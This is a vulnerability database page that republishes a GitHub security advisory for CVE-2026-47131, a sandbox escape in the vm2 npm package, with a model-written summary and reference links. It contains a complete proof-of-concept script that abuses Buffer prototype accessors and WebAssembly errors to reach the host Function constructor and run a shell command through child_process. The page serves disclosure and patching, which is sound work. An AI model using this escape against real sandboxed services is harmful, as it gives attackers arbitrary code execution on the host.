Browse / AI Framework and Platform Flaws / CVE-2026-47131
vm2 has a Sandbox Escape issue
- Class
- AI Framework and Platform Flaws (filed by a model that read the advisory)
- Technique
- Sandbox escape
- Affected
- vm2 (npm)
- Gets past
- Sandbox or allowlist
- CVSS
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- EPSS
- 0.8% chance of exploitation in 30 days
How it works, in short
Combining Buffer prototype accessors with a Node error object lets sandboxed code reach the host's Function constructor and run commands outside the VM. (Our summary, written by a model. The source text is below.)
Details
Summary
By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.
PoC
"use strict";
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
"use strict";
const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
setProto.call(getProto.call(e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
const HostFunction = e.constructor.constructor;
new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
}
}
f();
`);
Impact
Sandbox Escape → RCE
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://nvd.nist.gov/vuln/detail/CVE-2026-47131
- https://github.com/patriksimek/vm2/commit/27c525f4615e2b983f122e2bed327d810126f5c8
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4
Source: GitHub Advisory Database, used under CC BY 4.0.